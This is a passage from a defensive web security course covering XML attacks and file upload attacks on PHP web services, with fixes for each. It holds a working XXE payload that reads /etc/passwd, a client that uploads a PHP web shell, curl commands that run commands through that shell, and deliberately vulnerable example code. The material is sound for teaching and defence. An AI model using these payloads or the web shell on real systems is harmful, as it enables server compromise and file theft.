http://www.spylogic.net/wp-content/uploads/2011/08/Dont-Drop-the-
SOAP-Whitepaper.pdf
• WS-Attacks.org: Web Service Attacks explained
http://ws-attacks.org/

WEB SERVICES - SOAP/REST ACTION SPOOFING 61


P W D / P R A C T I C A L W E B D E F E N S E
CHAPTER

7
7. XML ATTACKS

7.1 Introduction
All web applications that process XML files or data may be subject to XML attacks. This
includes attacks against XML parsers such as XXE and XEE.
In addition to this, the complexity in the SOAP protocol (which is used by BEPL web
services too) enables a number of additional XML attacks such as XML Signature
Wrapping24, XLT code execution25 and Key retrieval26 to name a few. The full list can be
found here: http://ws-attacks.org.

7.2 How can I see if I am vulnerable to this?


If the application processes XML data, there is potential for security issues. The presence
of security vulnerabilities will depend on what the data is used for and whether defenses
against XML attacks have been setup or not.
In code reviews detailed attention should be paid to security controls in place in the
following areas:
1. Prior to parsing the XML file
For example: Are XML external entities allowed? Are there any maximum size
checks?
2. What the parsed data is used for
For example: Is data rendered on an HTML page? Is data used in SQL queries? Is
data used in XPath queries?

24 http://ws-attacks.org/index.php/XML_Signature_Wrapping
25 http://ws-attacks.org/index.php/XML_Signature_%E2%80%93_XSLT_Code_Execution
26 http://ws-attacks.org/index.php/XML_Signature_-_Key_Retrieval_XSA_(Cross_Site_Attack)

WEB SERVICES - XML ATTACKS 62


P W D / P R A C T I C A L W E B D E F E N S E

Although we are going to use a vulnerable basic REST web service example here, it is
important to note that the same situation applies to all other web services that process
XML, even a JSON-RPC web service could take an XML file as a string or a SOAP web
service take a base64 encoded string of an XML file for processing, etc.
Let us assume a simple book store REST web service that allows book uploads using
XML as follows:

<?php
require 'vendor/autoload.php';//Composer handles all dependencies for us
$app = new Slim\Slim();
$app->post('/books', function () use ($app) {
$request = $app->request();
$xml = simplexml_load_string($request->getBody());//DOM XML parser
here
if (isset($xml->title)) {
echo "Uploading {$xml->title}..";//Rendering back parsed XML
for illustration
//Upload process here
}
});
$app->run();

The idea here is to let the user know what book is being uploaded, this is the XML file
being assumed for normal usage:

<?xml version='1.0'?>
<book>
<title>The Godfather</title>
<author>Mario Puzo</author>
<description>Example Description</description>
</book>

This is an example request of normal usage:

curl 'http://example.com/web_services/rest/books' --data "$(cat


'normal_book.xml')"

Returns:

Uploading The Godfather..

However, we can create an evil book XML file as follows:

<?xml version='1.0'?>
<!DOCTYPE foo [
<!ELEMENT methodName ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<book>

WEB SERVICES - XML ATTACKS 63


P W D / P R A C T I C A L W E B D E F E N S E

<title>&xxe;</title>
<author>Mario Puzo</author>
<description>Example Description</description>
</book>

This inevitably results in our REST web service showing the /etc/passwd file:

curl 'http://example.com/web_services/rest/books' --data "$(cat


'evil_book.xml')"

Returns:

Uploading root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh

More guidelines to test for this issue can be found in the following resources:
• OWASP Testing Guide: Testing for XML Content-Level
https://www.owasp.org/index.php/Testing_for_XML_Content-
Level_(OWASP-WS-004)
• OWASP Testing Guide: Testing for XML Structural
https://www.owasp.org/index.php/Testing_for_XML_Structural_(OWAS
P-WS-003)
• WS-Attacks.org
WS-Attacks.org aims at delivering the most comprehensive enumeration of all known web service
attacks
http://ws-attacks.org

7.3 How can I fix this?


Favor less complex web services

Using SOAP (and BEPL) web services ensures additional attack surface and therefore
significantly more room for security issues. Whenever possible, favor simpler web services
(i.e. XML-RPC, JSON-RPC or RESTful) to remove this additional attack surface.

WEB SERVICES - XML ATTACKS 64


P W D / P R A C T I C A L W E B D E F E N S E

Favor JSON over XML

In addition to this and whenever possible, favoring JSON over XML will automatically
remove the additional attack surface present in XML parsing. JSON parsing is much
simpler than XML parsing and therefore is significantly less likely to introduce security
problems when done correctly (i.e. parse JSON using a parser, or “parse” call instead of
“eval”).

Disable External Entity support

The best way to mitigate XXE and XML Entity Expansion attacks is to disable external
entity loading. This is something that most platform libraries allow to do nowadays.
For example, in PHP most libraries rely on libxml2, so the following should mitigate the
problem:

libxml_disable_entity_loader(true);

Java, .NET and other platform-specific mitigation examples can be found here:
• XML External Entity(XXE) Vulnerability and Prevention
http://10-99.blogspot.com/2013/02/definition-xml-external-entityxxe-
is.html
• XML External Entity (XXE) Processing
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Proces
sing
Obviously, when doing this the code should handle error conditions gracefully. Let us say
we add this defense to our example:

<?php
require 'vendor/autoload.php';//Composer handles all dependencies for us
$app = new Slim\Slim();

$app->post('/books', function () use ($app) {


$request = $app->request();
libxml_disable_entity_loader(true);//Disabling External Entity
support BEFORE parsing
$xml = simplexml_load_string($request->getBody());//XML parsing,
danger here!
if (isset($xml->title)) {
echo "Uploading {$xml->title}..";
//Upload process here
}
});
$app->run();

WEB SERVICES - XML ATTACKS 65


P W D / P R A C T I C A L W E B D E F E N S E

If we try the same attack we get the following error, which granted, it is better than letting
the attacker read arbitrary system files, but still an information disclosure flaw:

curl 'http://example.com/web_services/rest/books' --data "$(cat


'evil_book.xml')"

Returns:

<html><head><title>Slim Application
Error</title><style>body{margin:0;padding:30px;font:12px/1.5
Helvetica,Arial,Verdana,sans-serif;}h1{margin:0;font-size:48px;font-
weight:normal;line-height:48px;}strong{display:inline-
block;width:65px;}</style></head><body><h1>Slim Application
Error</h1><p>The application could not run because of the following
error:</p><h2>Details</h2><div><strong>Type:</strong>
ErrorException</div><div><strong>Code:</strong>
2</div><div><strong>Message:</strong> simplexml_load_string(): I/O
warning : failed to load external entity
&quot;file:///etc/passwd&quot;</div><div><strong>File:</strong>
/var/www/web_services/rest/book_server2.php</div><div><strong>Line:</str
ong> 8</div><h2>Trace</h2><pre>#0 [internal function]:
Slim\Slim::handleErrors(2, 'simplexml_load_...', '/var/www/web_se...',
8, Array)
#1 /var/www/web_services/rest/book_server2.php(8):
simplexml_load_string('<?xml version='...')
#2 [internal function]: {closure}()
#3 /var/www/web_services/rest/vendor/slim/slim/Slim/Route.php(436):
call_user_func_array(Object(Closure), Array)
#4 /var/www/web_services/rest/vendor/slim/slim/Slim/Slim.php(1305):
Slim\Route->dispatch()
#5
/var/www/web_services/rest/vendor/slim/slim/Slim/Middleware/Flash.php(85
): Slim\Slim->call()
#6
/var/www/web_services/rest/vendor/slim/slim/Slim/Middleware/MethodOverri
de.php(92): Slim\Middleware\Flash->call()
#7
/var/www/web_services/rest/vendor/slim/slim/Slim/Middleware/PrettyExcept
ions.php(67): Slim\Middleware\MethodOverride->call()
#8 /var/www/web_services/rest/vendor/slim/slim/Slim/Slim.php(1254):
Slim\Middleware\PrettyExceptions->call()
#9 /var/www/web_services/rest/book_server2.php(14): Slim\Slim->run()

The following is much better, please note how processing stops if there is an exception:

libxml_disable_entity_loader(true);//Disabling External Entity support


BEFORE parsing
try {
$xml = simplexml_load_string($request->getBody());//XML parsing, danger
here!
}

WEB SERVICES - XML ATTACKS 66


P W D / P R A C T I C A L W E B D E F E N S E

catch (Exception $e) { /* Log this somewhere so that it gets reviewed..


*/ die('Invalid XML file, sorry'); }

Now we get the following when the attack is attempted (no XXE, but also no
information disclosure):

curl 'http://example.com/web_services/rest/books' --data "$(cat


'evil_book.xml')"

Returns:

Invalid XML file, sorry

Disable DOCTYPE Declarations

Stripping out the DOCTYPE section is a great additional way to ensure XXE and
Expansions are not possible. In order to do this without parsing, it is possible to remove
the white-space from the document to then try to detect the DOCTYPE, if a DOCTYPE
is found, then reject the document:

if(preg_match("/<!DOCTYPE/i", preg_replace("/\s/", '', $xml_string)))


{//DOCTYPE found
die('Invalid XML ...'); //Abort processing
}

NOTE: The preg_replace("/\s/".. part removes all white-space characters to avoid


potential markup tricks that might bypass the regular expression check.
Obviously, the correct place to implement this security control is before the XML file is
even parsed. It is important to note that this is in addition to and before disabling external
entity support. Our example implementing this security control would look as highlighted
here:

<?php
require 'vendor/autoload.php';//Composer handles all dependencies for us
$app = new Slim\Slim();

$app->post('/books', function () use ($app) {


$request = $app->request();
$xml_string = $request->getBody();//Get the POST request body
if(preg_match("/<!DOCTYPE/i", preg_replace("/\s/", '',
$xml_string))) {//DOCTYPE found
die('Unsupported XML file, sorry'); //This is an attack,
abort processing ASAP
}
libxml_disable_entity_loader(true); //Disabling External Entity
support BEFORE parsing
try {
$xml = simplexml_load_string($xml_string);//XML parsing, danger here!

WEB SERVICES - XML ATTACKS 67


P W D / P R A C T I C A L W E B D E F E N S E

}
catch (Exception $e) { /* Log this somewhere so that it gets
reviewed.. */ die('Invalid XML file, sorry'); }
if (isset($xml->title)) {
echo "Uploading {$xml->title}..";
//Upload process here
}
});
$app->run();

Prefer SAX over DOM XML parsers

DOM parsers parse the XML document all at once in memory; this makes them more
vulnerable to Denial of Service (DoS) attacks. However, SAX parsers work via callbacks
for processing XML tags, typically the code is more complicated but it has the benefit of
not parsing the whole XML document in memory all at once.

Validate XML files against schemas

Validation of XML files against schemas can be useful to ensure the XML file is legitimate.
The following is a list of resources that might help with this:
• Current PHP versions provide platform functions to validate the schema
XMLReader::setSchema
http://www.php.net/manual/en/xmlreader.setschema.php
DOMDocument::schemaValidate
http://www.php.net/manual/de/domdocument.schemavalidate.php
• .NET: Validation Against XML Schema (XSD) with the XmlValidatingReader
http://msdn.microsoft.com/en-us/library/thydszwy.aspx
• Java: The Java XML Validation API
http://www.ibm.com/developerworks/xml/library/x-
javaxmlvalidapi/index.html
• Java: How to Validate XML using Java
http://www.edankert.com/validate.html

Output encode user input before rendering it within XML

In order to mitigate XML tag injection attacks, XML-injection friendly characters should
be output encoded when user input must be concatenated into an XML document. If
possible a well vetted platform function or library should be used. Where this is not
possible, then at least output encode the following characters: &, <, >, !, [, ], -, " and '

Validate user input against a while-list on top of everything else

Ensuring that injection-friendly XML characters are not allowed during validation is a
great additional way to mitigate XML tag injection attacks. Whenever possible this should

WEB SERVICES - XML ATTACKS 68


P W D / P R A C T I C A L W E B D E F E N S E

be done against a white-list that does not include XML-injection friendly characters (i.e. &,
<, >, !, [, ], -, " and '). For example:

if (!preg_match('|^[a-z0-9\s]+$|i', $xml->title) {//only letters,


numbers and white-space for book titles
die('Invalid title…');//Abort processing
}

Put it all together

As usual, defenses work best when combined together, our fixed example implements
most of the security controls described in this section. Please pay attention to this example
and note how security controls are placed in the following two sections:
1. Before XML parsing: Defenses against XML attacks
2. After XML parsing: Defenses specific to what the data is going to be used for
(i.e. rendered in HTML? Used in a SQL query? Etc.)

<?php
require 'vendor/autoload.php';//Composer handles all dependencies for us
$app = new Slim\Slim();

$app->post('/books', function () use ($app) {


$request = $app->request();
$xml_string = $request->getBody();//Get the POST request body
if (strlen($xml_string) > (1024 * 5)) {//Size check before we
even search for DOCTYPEs!
die('Sorry, we do not support XML files greater than 5
KBs');//this is a book description, not the whole book!
}
if(preg_match("/<!DOCTYPE/i", preg_replace("/\s/", '',
$xml_string))) {//DOCTYPE found
die('Unsupported XML file, sorry'); //We are not even
going to try to parse this
}
libxml_disable_entity_loader(true);//Disabling External Entity
support BEFORE parsing
try {
$xml = simplexml_load_string($xml_string);//XML parsing,
danger here!
}
catch (Exception $e) { /* Log this somewhere so that it gets
reviewed.. */ die('Invalid XML file, sorry'); }
if (isset($xml->title)) {
if (strlen($xml->title) > 100 || !preg_match('|^[a-z0-
9\s]+$|i', $xml->title)) {//NOTE: Abort processing before rendering
title
die('Sorry, your book title contains invalid
characters, only letters, numbers and whitespace please..');
}
echo '<html>
<head><meta charset="UTF-8"></head>

WEB SERVICES - XML ATTACKS 69


P W D / P R A C T I C A L W E B D E F E N S E

<body>
Uploading '
. htmlentities($xml->title, ENT_QUOTES, 'UTF-8')
. '...</body></html>';//Output encode using the page charset
//Upload process here
}
});
$app->run();

7.4 Further reading


The following resources provide more information on this topic:
• Penetration Testing Tool for Web Services Security
http://www.nds.ruhr-uni-
bochum.de/media/nds/veroeffentlichungen/2012/07/11/camera-
ready.pdf
• A Survey of Attacks on Web Services
http://www.fim.uni-
passau.de/fileadmin/files/lehrstuhl/meer/publications/pdf/Jensen2009a.
pdf
• Protecting Web Services from DoS Attacks by SOAP Message Validation
http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.92.4061&rep=re
p1&type=pdf
• Attacking Web Services: The Next Generation of Vulnerable Enterprise
Applications
http://www.defcon.org/images/defcon-13/dc13-presentations/DC_13-
Stender.pdf
• OWASP XML External Entity (XXE) Processing vulnerability description
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Proces
sing
• OWASP Development Guide: XML Injection
https://www.owasp.org/index.php/Interpreter_Injection#XML_Injection
• PHP Security: XML Injection
http://phpsecurity.readthedocs.org/en/latest/Injection-
Attacks.html#xml-injection
• Scanning the internal network using SimpleXML
https://www.idontplaydarts.com/2011/02/scanning-the-internal-network-
using-simplexml/
• XML Denial of Service Attacks and Defenses: .NET Mitigation guidance and
general advice
http://msdn.microsoft.com/en-us/magazine/ee335713.aspx

WEB SERVICES - XML ATTACKS 70


P W D / P R A C T I C A L W E B D E F E N S E

• OWASP Web Service Security Cheat Sheet


https://www.owasp.org/index.php/Web_Service_Security_Cheat_Sheet
• OWASP REST Security Cheat Sheet
https://www.owasp.org/index.php/REST_Security_Cheat_Sheet
• OWASP Development Guide: Web Services
https://www.owasp.org/index.php/Web_Services
• Erlend Oftedal: RESTful Security
http://erlend.oftedal.no/blog/?blogid=134
• Don’t Drop the SOAP: Real World Web Service Testing
http://www.spylogic.net/wp-content/uploads/2011/08/Dont-Drop-the-
SOAP-Whitepaper.pdf
• WS-Attacks.org: Web Service Attacks explained
http://ws-attacks.org/
• Bypassing Web Authentication and Authorization with HTTP Verb Tampering
https://www.aspectsecurity.com/wp-content/plugins/download-
monitor/download.php?id=18

WEB SERVICES - XML ATTACKS 71


P W D / P R A C T I C A L W E B D E F E N S E
CHAPTER

8
8. FILE UPLOAD ATTACKS

8.1 Introduction

Some web services may implement functionality that allows users to upload files to the
web server. Especially when writing to the filesystem, this type of functionality may result
in web server compromise if adequate precautions are not implemented. In the context of
web services, file uploads can be implemented on all web service types, including
JSON-RPC web services simply encoding the file using base64, for example.

8.2 How can I see if I am vulnerable to this?


File upload vulnerabilities are generally easier to find by simply looking at the source code.
In particular, in code reviews careful attention should be paid to:
1. Prior to processing the file: Presence and adequate implementation of security
controls
2. After processing the file: Security controls relevant to what the file is going to
be used for.
The following is an example SOAP web service vulnerable to file upload attacks. Please
note how the attacker has full control of the file name and the file contents with absolutely
no validation or restrictions in place:

<?php
require "vendor/autoload.php";//Composer sorts out the Zend Framework
dependencies for us
$URL = "http://example.com/web_services/soap/upload_server.php";//URL
for this script
$WSDL_URL = $URL . '?wsdl';//URL where the WSDL is

WEB SERVICES - FILE UPLOAD ATTACKS 72


P W D / P R A C T I C A L W E B D E F E N S E

class Uploader {//dummy class to upload files


/**
* Uploads a $filename using $filecontents
*
* @param string $filename
* @param string $filecontents
* @return string
*/
public function Upload($filename, $filecontents) {//Insecure
Upload
if (false !== file_put_contents($filename,
base64_decode($filecontents))) {//Vuln here!
return 'Upload OK!';
}
return 'Upload Failed :(';
}
}

if (isset($_GET['wsdl'])) {//Provide WSDL declaration for this SOAP Web


Service (the URL is '..?wsdl')
$wsdl = new Zend\Soap\AutoDiscover();//This generates the WSDL
for us
$wsdl->setClass('Uploader')
->setUri($URL)
->setServiceName('Upload');
$wsdl->handle();
}
else {//Provide the SOAP Web Service functionality
$server = new Zend\Soap\Server($WSDL_URL);//Instantiates the
Zend Framework SOAP server
$server->setClass('Uploader');//Maps our vulnerable Pinger class
to handle SOAP requests
$server->handle();//Returns the response for each SOAP request
}

This can be exploited with a simple SOAP web service client. This simply uploads a
backdoor PHP file that will run any command passed to it in the ‘cmd’ GET parameter:

<?php
require "vendor/autoload.php";////Composer sorts out the Zend Framework
dependencies for us
$client = new
Zend\Soap\Client('http://example.com/web_services/soap/upload_server.php
?wsdl');
echo $client->Upload('/var/www/shell.php',
base64_encode("<?php\nsystem(\$_GET['cmd']);"));

The web service client can be run trivially from the command line. We can see that the
upload succeeded:

php upload_client.php

WEB SERVICES - FILE UPLOAD ATTACKS 73


P W D / P R A C T I C A L W E B D E F E N S E

Returns:

Upload OK!

Finally we can verify that the vulnerability worked by using the uploaded PHP backdoor:

curl 'http://example.com/shell.php?cmd=id'

Returns:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

OWASP guidelines to test for this issue can be found here:


https://www.owasp.org/index.php/Testing_for_Naughty_SOAP_Attach
ments_(OWASP-WS-006)

8.3 How can I fix this?


File uploads are complicated to defend against and the proposed security measures will not
work on all applications but combining as many of the proposed security measures as
possible should mitigate the risk of having a file upload feature on a website sufficiently.

Do not store user-files in the filesystem

Whenever possible always favor storing files in a database instead of the filesystem,
this ensures that filesystem attacks are simply not possible.

Deny webroot write permissions to the web user

This will work regardless of where files are stored (i.e. database or filesystem) but if files
need to be stored in the filesystem they will forcefully have to be written to a directory that
is not the webroot (a security best practice, although it might not always be possible
depending on the application).
Denying write permissions in the webroot directory to the web server user (i.e. the user
Apache, IIS, etc. runs as) is very highly recommended. This easy to do but will make
exploitation of certain security problems significantly more difficult.
In Windows, Deny permissions take precedence over Allow, so assuming the web server
runs as “IUSR” a Deny Write permission on the webroot directory (and all subdirectories)
is highly recommended unless the application requires a different permission setup. To do
this, simply right click on the webroot directory (i.e. www in this example), then click on
“Properties”, the “Security” tab, then “Edit”, then “IUSR” (the user the web server runs
as) and then put an explicit “Deny Write” permission like in the screenshot below:

WEB SERVICES - FILE UPLOAD ATTACKS 74


P W D / P R A C T I C A L W E B D E F E N S E

FIGURE 1 Setting up “Deny Write” permissions on the webroot directory in Windows

In Linux the following is a one liner that will prevent the webserver user (assuming it is
not root, which should not be) from writing files (this should be ok for most
applications). This assumes the webroot directory is /var/www:

sudo chown -R root /var/www # Makes all the files/directories in


/var/www belong to the user “root”
sudo chmod -R 755 /var/www # Only allows read and execution to non-root
users (not write)

Validate user-supplied file names using a white-list

If you need the user-supplied filename for any reason, you should validate it against a
white-list of only letters, numbers and dots.
In our example this could be something like this. Please note the length check outside and
before the regular expression:

public function Upload($filename, $filecontents) {//Insecure Upload


if (strlen($filename) > 10 || !preg_match('|^[a-z0-9\.]+$|i',
$filename)) {
return 'Sorry, only letters and numbers allowed
in the filename!';
}
if (false !== file_put_contents($filename,
base64_decode($filecontents))) {//Vuln here!
return 'Upload OK!';
}
return 'Upload Failed :(';
}

WEB SERVICES - FILE UPLOAD ATTACKS 75


P W D / P R A C T I C A L W E B D E F E N S E

Obviously, at this point, the attacker can just upload the backdoor in the same directory
without using “/”:

<?php
require "vendor/autoload.php";////Composer sorts out the Zend Framework
dependencies for us
$client = new
Zend\Soap\Client('http://example.com/web_services/soap/upload_server.php
?wsdl');
echo $client->Upload('shell.php',
base64_encode("<?php\nsystem(\$_GET['cmd']);"));

Then upload the file using the PHP client:

php upload_client.php

Returns:

Upload OK!

Now the attacker can verify that the attack was successful:

curl 'http://example.com/web_services/soap/shell.php?cmd=id'

Returns:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

However, the attacker can no longer save the file in other directories. This is the case
because our regular expression is not allowing characters such as “/”or “\”.

WEB SERVICES - FILE UPLOAD ATTACKS 76


P W D / P R A C T I C A L W E B D E F E N S E

Validate user-supplied file extensions using a white-list

If you need the user-provided file extension, then compare it against a list of known
extensions (white-list).
In our web service example we probably do not intend to allow users to upload PHP files,
instead let us suppose that uploaded files are supposed to be text files. In this situation we
should allow “.txt” file extensions and reject everything else. Please note how the example
will allow the developers to allow more file extensions in the future simply adding
elements to the array -i.e. array('txt', 'jpg', ..)-, this is important to avoid human error in
future development phases:

public function Upload($filename, $filecontents) {//Insecure Upload


if (strlen($filename) > 10 || !preg_match('|^[a-z0-
9\.]+$|i', $filename)) {
return 'Sorry, only letters and numbers allowed
in the filename!';
}
if (!in_array(array_pop(explode('.', $filename)),
array('txt'))) {//Extension check
return 'Sorry, only .txt file extensions
allowed';
}
if (false !== file_put_contents($filename,
base64_decode($filecontents))) {
return 'Upload OK!';
}
return 'Upload Failed :(';
}

The file extension check is one of the most important security controls. This prevents the
PHP backdoor upload:

php upload_client.php

Returns:

Sorry, only .txt file extensions allowed

WEB SERVICES - FILE UPLOAD ATTACKS 77


P W D / P R A C T I C A L W E B D E F E N S E

Validate user-supplied file contents using a white-list

If you are expecting an image, check that you really received an image and then validate
the image type against a white-list of allowed image types. For example, in PHP you could
do something like this:

$allowed_image_types = array('image/gif', 'image/jpeg'); //White-list of


allowed image types
$image_info = getimagesize($_FILE['the_file']['tmp_name']); //Try to
retrieve file properties
if (!in_array($image_info['mime'], $allowed_image_types)) { //Check file
type is in the white-list
die('Incorrect image type');
}

Validate user-supplied mime types against a white-list

If, for any reason, you need to do something with the mime type, for example, saving it as
a field in the database, then check that you really received a valid mime type by validating
the user-provided mime type against a white-list of allowed mime types. For example, in
PHP you could do something like this:

$allowed_mime_types = array('image/gif', 'image/jpeg'); //White-list of


allowed mime types
$user_mime_type = $_FILE['the_file']['type']); //user-provided mime type
if (!in_array($user_mime_type, $allowed_mime_types)) { //Check file type
is in the white-list
die('Incorrect image mime type');
}

If you cannot use a white-list of allowed mime-types for any reason, then validate the user-
supplied mime type against a white-list of only letters and “/” (white-list):
For example, in PHP:

if (!preg_match('|^[\.\/a-zA-Z]+$|', $mime_type)) {
die('Cannot render: Invalid mime type');
}

WEB SERVICES - FILE UPLOAD ATTACKS 78


P W D / P R A C T I C A L W E B D E F E N S E

If you really need to store files in the filesystem..

If you really need to store files in the filesystem (strongly not recommended), then
please follow these recommendations:
1) Never save user-provided files in the webroot:
Use another directory, ideally on another drive (windows) or path (i.e.
/home/www/uploads instead of /var/www… in Linux-like systems).
In our example, this would look as follows:

if (false !== file_put_contents('/home/www/uploads/' . $filename,


base64_decode($filecontents))) {

2) Always canonicalize the file name:


This makes the possibility of “../../” traversal tricks significantly more difficult to
exploit.
In PHP always combine realpath27 and basename28. This makes our example look
as follows:

if (false !== file_put_contents('/home/www/uploads/' .


basename(realpath($filename)), base64_decode($filecontents))) {

3) Never use user-provided input in the final filename:


Simply create your own new filename instead. Never use any part of the user-
provided filename as part of the final filename in the web server. If you need the
user-provided file extension, then compare it against a list of known extensions
and then use your own extension value.
In our example, we can additionally save the file in a JSON encoded format so that
the attacker does not control either the filename or the full content of the file:

//NOTE: json_encode will add surrounding quotes to the filename +


content below:
$json_contents = json_encode('{
"filename" : '. json_encode(basename(realpath($filename))) .',
"content" : '. json_encode(base64_decode($filecontents)) .'
}');
if (false !== file_put_contents('/home/www/uploads/' . sha1(time()) .
'.txt', $json_contents)) {

Now, although the attacker is still able to upload files to the filesystem (because of
a poor web application design from a security perspective), the file is very unlikely
to be a security threat (sha1 truncated with “…” for brevity).

27 http://php.net/realpath
28 http://php.net/basename

WEB SERVICES - FILE UPLOAD ATTACKS 79


P W D / P R A C T I C A L W E B D E F E N S E

Running the following script (i.e. test_json_decode.php):

<?php
echo json_decode(file_get_contents('/home/www/uploads/3923…94.txt'));

Returns the contents submitted by the user, but these are no longer used to
manipulate the filesystem (i.e. determine which file to load, save, etc):

{
"filename" : "shell.txt",
"content" : "<?php\nsystem($_GET['cmd']);"
}

Disable script execution on the upload directory

You should be storing files outside of the webroot, but if you really need to save
the files inside the webroot for whatever reason, at least disable PHP, ASP, etc
script execution from the file upload directory. The following is an example for a
.htaccess file placed in the same directory:

AddHandler cgi-script.php4 .php5 .php .php3 .phtml .pl .py .jsp .asp
.htm .shtml .sh .cgi
Options -ExecCGI

Render the file from another domain

Rendering a user-supplied file can be problematic security-wise, even when done from a
database. If possible, rendering the file from another domain will significantly mitigate
potential Cross Site Scripting (XSS) risks. For example, the file would be uploaded to
http://mysite.com but rendered from http://usercontent.mysite.com. This ensures
that, if a Cross Site Scripting vulnerability is found, JavaScript will execute in the security
context of usercontent.mysite.com, hence not being able to impersonate a compromised
application user in mysite.com.

WEB SERVICES - FILE UPLOAD ATTACKS 80


P W D / P R A C T I C A L W E B D E F E N S E

Render the file using anti-XSS headers

Modern browsers support a number of HTTP headers which can be used to mitigate the
risk of XSS. Unfortunately some of them are browser specific but it is possible to set most
of them for best protection.
We will look at these headers in more detail later in this course, for now you just need to
know that using these useful HTTP headers for defenders29 we mitigate Clickjacking and
XSS. The example below is highly recommended for best browser coverage of XSS and
Clickjacking protection on pages that render user-supplied files:

X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'none';
X-Content-Security-Policy: default-src 'none';
X-Webkit-CSP: default-src 'none';

Do not render user-supplied input other than the content

File upload fields such as: the user-supplied filename and the user-supplied mime type
should never be used when rendering a file in the browser. You should instead use the
values from your white-list during validation (see points above).
If you really should use user-input when rendering a file on places like the filename or the
mime type, then at least use a strict regular expression to ensure that (you should have
done this during the validation phase before saving the file):
1) Filenames only contain letters, numbers and dots (white-list):
For example, in PHP:

if (!preg_match('/^[\.0-9a-zA-Z]+$/', $filename)) {
die('Cannot render: Invalid filename');
}

2) Mime types only contain letters and “/” (white-list):


For example, in PHP:

if (!preg_match('|^[\.\/a-zA-Z]+$|', $mime_type)) {
die('Cannot render: Invalid mime type');
}

29 https://www.owasp.org/index.php/List_of_useful_HTTP_headers

WEB SERVICES - FILE UPLOAD ATTACKS 81


P W D / P R A C T I C A L W E B D E F E N S E

Scan user uploaded files

Depending on the nature of file uploads in the context of your application. You should
seriously consider scanning them using an anti-virus program and ideally in a sandbox or a
third-party service such as VirusTotal30 if user-privacy is not a concern.

Put it all together

As usual, security controls are best when combined together. The following is our fixed
file upload example implementing some of the security controls described in this section:

class Uploader {//dummy class to upload files


/**
* Uploads a $filename using $filecontents
*
* @param string $filename
* @param string $filecontents
* @return string
*/
public function Upload($filename, $filecontents) {//Insecure
Upload
if (strlen($filename) > 10 || !preg_match('|^[a-z0-
9\.]+$|i', $filename)) {
return 'Sorry, only letters and numbers allowed
in the filename!';
}
if (!in_array(array_pop(explode('.', $filename)),
array('txt'))) {
return 'Sorry, only .txt file extensions
allowed';
}
//NOTE: json_encode will add surrounding quotes to the
filename + content below:
$json_contents = json_encode('{
"filename" : '.
json_encode(basename(realpath($filename))) .',
"content" : '.
json_encode(base64_decode($filecontents)) .'
}');
if (false !== file_put_contents('/home/www/uploads/' .
sha1(time()) . '.txt', $json_contents)) {
return 'Upload OK!';
}
return 'Upload Failed :(';
}
}

30 https://www.virustotal.com

WEB SERVICES - FILE UPLOAD ATTACKS 82


P W D / P R A C T I C A L W E B D E F E N S E

8.4 Further reading


The following resources provide more information on this topic:
• OWASP guidelines on unrestricted file upload vulnerabilities
https://www.owasp.org/index.php/Unrestricted_File_Upload
• OWASP Developer Guide: Guidance on File uploads
https://www.owasp.org/index.php/File_System#File_upload
• Secure File Upload Check List With PHP
http://hungred.com/useful-information/secure-file-upload-check-list-
php/
• Secure file upload in PHP web applications
http://www.net-security.org/dl/articles/php-file-upload.pdf
• IIS Security Checklist
http://web.archive.org/web/20081218162153/http://windows.stanford.edu
/docs/IISsecchecklist.htm
• Hacking With File Upload Vulnerabilities
http://underurhat.com/hacking/tutorials/hacking-with-file-upload-
vulnerabilities/
• Content Security Policy tutorial
http://www.html5rocks.com/en/tutorials/security/content-security-
policy/
• OWASP Web Service Security Cheat Sheet
https://www.owasp.org/index.php/Web_Service_Security_Cheat_Sheet
• OWASP REST Security Cheat Sheet
https://www.owasp.org/index.php/REST_Security_Cheat_Sheet
• OWASP Development Guide: Web Services
https://www.owasp.org/index.php/Web_Services
• Erlend Oftedal: RESTful Security
http://erlend.oftedal.no/blog/?blogid=134
• Don’t Drop the SOAP: Real World Web Service Testing
http://www.spylogic.net/wp-content/uploads/2011/08/Dont-Drop-the-
SOAP-Whitepaper.pdf
• WS-Attacks.org: Web Service Attacks explained
http://ws-attacks.org/
• Bypassing Web Authentication and Authorization with HTTP Verb Tampering
https://www.aspectsecurity.com/wp-content/plugins/download-
monitor/download.php?id=18

WEB SERVICES - FILE UPLOAD ATTACKS 83


P W D / P R A C T I C A L W E B D E F E N S E
CHAPTER

9
9. REPLAY ATTACKS

